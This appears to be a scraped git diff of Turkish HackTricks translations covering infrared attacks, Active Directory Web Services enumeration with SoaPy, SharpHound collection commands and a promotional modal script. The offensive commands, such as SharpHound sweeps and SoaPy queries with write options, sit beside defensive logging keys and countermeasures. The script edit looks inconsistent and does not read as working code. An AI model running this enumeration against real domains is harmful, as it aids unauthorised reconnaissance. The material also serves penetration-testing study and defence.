Bu, 20ºC olarak ayarlanmış bir makinenin bir uzaktan kumanda ile 21ºC'ye çıkarılmasını ve ardından hala 20ºC olarak ayarlanmış başka bir uzaktan kumanda ile sıcaklığın daha da artırılmaya çalışıldığında, "21ºC"ye (ve 22ºC'ye değil, 21ºC'de olduğunu düşünerek) "arttırılmasını" önler.
|
||||
|
||||
---
|
||||
|
||||
## Saldırılar & Ofansif Araştırmalar <a href="#attacks" id="attacks"></a>
|
||||
## Saldırılar & Saldırgan Araştırmalar <a href="#attacks" id="attacks"></a>
|
||||
|
||||
Flipper Zero ile Kızılötesi'ye saldırabilirsiniz:
|
||||
Kızılötesiye Flipper Zero ile saldırabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
flipper-zero/fz-infrared.md
|
||||
@ -82,13 +82,13 @@ Son akademik çalışma (EvilScreen, 2022), **Kızılötesi ile Bluetooth veya W
|
||||
|
||||
### IR LED'leri ile Hava Boşluğu Veri Sızdırma (aIR-Jumper ailesi)
|
||||
|
||||
Güvenlik kameraları, yönlendiriciler veya hatta kötü niyetli USB bellekler genellikle **gece görüşü IR LED'leri** içerir. Araştırmalar, kötü amaçlı yazılımların bu LED'leri (<10–20 kbit/s basit OOK ile) **duvarlar ve pencereler aracılığıyla sırları dışarı sızdırmak için modüle edebileceğini** göstermektedir. Işık görünür spektrumun dışındadır, bu nedenle operatörler nadiren fark eder. Karşı önlemler:
|
||||
Güvenlik kameraları, yönlendiriciler veya hatta kötü niyetli USB bellekler genellikle **gece görüşü IR LED'leri** içerir. Araştırmalar, kötü amaçlı yazılımların bu LED'leri (<10–20 kbit/s basit OOK ile) modüle edebileceğini ve **duvarlar ve pencereler aracılığıyla sırları dışarıya sızdırabileceğini** göstermektedir; bu, on metre uzaktaki bir dış kameraya yönlendirilir. Işık görünür spektrumun dışındadır, bu nedenle operatörler nadiren fark eder. Karşı önlemler:
|
||||
|
||||
* Hassas alanlarda IR LED'lerini fiziksel olarak koruyun veya çıkarın
|
||||
* Kamera LED görev döngüsünü ve yazılım bütünlüğünü izleyin
|
||||
* Pencerelerde ve gözetim kameralarında IR-kesme filtreleri kullanın
|
||||
|
||||
Bir saldırgan, **komutları** ağa sızdırmak için güçlü IR projektörleri kullanarak verileri güvensiz kameralara geri yansıtabilir.
|
||||
Bir saldırgan, **komutları** ağa sızdırmak için güçlü IR projektörleri kullanarak verileri güvensiz kameralara yansıtabilir.
|
||||
|
||||
### Uzun Menzilli Kaba Kuvvet & Genişletilmiş Protokoller ile Flipper Zero 1.0
|
||||
|
||||
@ -128,7 +128,7 @@ irsend SEND_ONCE samsung KEY_POWER
|
||||
|
||||
## Savunma Önlemleri <a href="#defense" id="defense"></a>
|
||||
|
||||
* Gerekmediğinde, kamu alanlarında dağıtılan cihazlardaki IR alıcılarını devre dışı bırakın veya kapatın.
|
||||
* Gerekmediğinde kamu alanlarında dağıtılan cihazlardaki IR alıcılarını devre dışı bırakın veya kapatın.
|
||||
* Akıllı TV'ler ile uzaktan kumandalar arasında *eşleştirme* veya kriptografik kontroller uygulayın; ayrıcalıklı "hizmet" kodlarını izole edin.
|
||||
* Sınıflandırılmış alanlarda optik gizli kanalları kırmak için IR-kesme filtreleri veya sürekli dalga dedektörleri kullanın.
|
||||
* Kontrol edilebilir IR LED'leri sergileyen kameraların/IoT cihazlarının yazılım bütünlüğünü izleyin.
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## ADWS Nedir?
|
||||
|
||||
Active Directory Web Services (ADWS), **Windows Server 2008 R2'den itibaren her Domain Controller'da varsayılan olarak etkinleştirilmiştir** ve TCP **9389** üzerinde dinler. İsimden dolayı, **HTTP kullanılmamaktadır**. Bunun yerine, hizmet, özel .NET çerçeve protokolleri yığını aracılığıyla LDAP tarzı verileri açığa çıkarır:
|
||||
Active Directory Web Services (ADWS), **Windows Server 2008 R2'den itibaren her Domain Controller'da varsayılan olarak etkinleştirilmiştir** ve TCP **9389** üzerinde dinler. İsimden dolayı, **HTTP kullanılmaz**. Bunun yerine, hizmet, özel .NET çerçeve protokolleri yığını aracılığıyla LDAP tarzı verileri açığa çıkarır:
|
||||
|
||||
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
|
||||
|
||||
@ -23,12 +23,12 @@ Trafik bu ikili SOAP çerçeveleri içinde kapsüllenmiş olduğundan ve alış
|
||||
### Ana Özellikler
|
||||
|
||||
* **SOCKS üzerinden proxy desteği** (C2 implantlarından faydalı).
|
||||
* LDAP `-q '(objectClass=user)'` ile aynı ince ayar arama filtreleri.
|
||||
* LDAP `-q '(objectClass=user)'` ile aynı ince ayarlı arama filtreleri.
|
||||
* Opsiyonel **yazma** işlemleri (`--set` / `--delete`).
|
||||
* BloodHound'a doğrudan alım için **BOFHound çıktı modu**.
|
||||
* İnsan okunabilirliği gerektiğinde zaman damgalarını / `userAccountControl`'ü güzelleştirmek için `--parse` bayrağı.
|
||||
|
||||
### Kurulum (operatör host)
|
||||
### Kurulum (operatör hostu)
|
||||
```bash
|
||||
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
|
||||
```
|
||||
@ -70,13 +70,13 @@ msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
|
||||
|
||||
### Ayrıntılı ADDS Günlüğü
|
||||
|
||||
ADWS (ve LDAP) kaynaklı pahalı / verimsiz aramaları ortaya çıkarmak için Alan Denetleyicileri üzerinde aşağıdaki kayıt defteri anahtarlarını etkinleştirin:
|
||||
ADWS (ve LDAP) kaynaklı maliyetli / verimsiz aramaları ortaya çıkarmak için Alan Denetleyicileri üzerinde aşağıdaki kayıt defteri anahtarlarını etkinleştirin:
|
||||
```powershell
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
|
||||
```
|
||||
Olaylar **Directory-Service** altında tam LDAP filtresi ile görünecektir, sorgu ADWS üzerinden gelse bile.
|
||||
Olaylar **Directory-Service** altında tam LDAP filtresi ile görünecektir, sorgu ADWS üzerinden geldiğinde bile.
|
||||
|
||||
### SACL Canary Nesneleri
|
||||
|
||||
|
||||
@ -56,7 +56,7 @@ SharpHound.exe --CollectionMethods All # Full sweep (noisy)
|
||||
SharpHound.exe --CollectionMethods Group,LocalAdmin,Session,Trusts,ACL
|
||||
SharpHound.exe --Stealth --LDAP # Low noise LDAP only
|
||||
```
|
||||
Toplayıcılar, BloodHound GUI aracılığıyla alınan JSON'lar üretir.
|
||||
Toplayıcılar, BloodHound GUI aracılığıyla alınan JSON üretir.
|
||||
|
||||
---
|
||||
|
||||
|
||||
24
theme/ai.js
24
theme/ai.js
@ -1,6 +1,6 @@
|
||||
/**
|
||||
* HackTricks Training Discounts
|
||||
*/
|
||||
|
||||
|
||||
|
||||
(() => {
|
||||
@ -9,13 +9,13 @@
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
// Stop if user already dismissed
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
/* Quick helper */
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
|
||||
/* --- Overlay (blur + dim) --- */
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
position: fixed; inset: 0;
|
||||
background: rgba(0,0,0,.4);
|
||||
@ -24,7 +24,7 @@
|
||||
z-index: 10000;
|
||||
`);
|
||||
|
||||
/* --- Modal --- */
|
||||
// --- Modal ---
|
||||
const modal = $('div', `
|
||||
max-width: 90vw; width: 480px;
|
||||
background: #fff; border-radius: 12px; overflow: hidden;
|
||||
@ -33,10 +33,10 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (link + close) --- */
|
||||
// --- Title bar (link + close) ---
|
||||
const titleBar = $('div', `
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
@ -53,7 +53,7 @@
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
// Close "X" (no persistence)
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
@ -65,11 +65,11 @@
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
// --- Image ---
|
||||
const img = $('img');
|
||||
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||
|
||||
/* --- Checkbox row --- */
|
||||
// --- Checkbox row ---
|
||||
const label = $('label', `
|
||||
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||
@ -83,7 +83,7 @@
|
||||
};
|
||||
label.append(cb, document.createTextNode("Don't show again"));
|
||||
|
||||
/* --- Assemble & inject --- */
|
||||
// --- Assemble & inject ---
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
@ -93,7 +93,7 @@
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/**
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user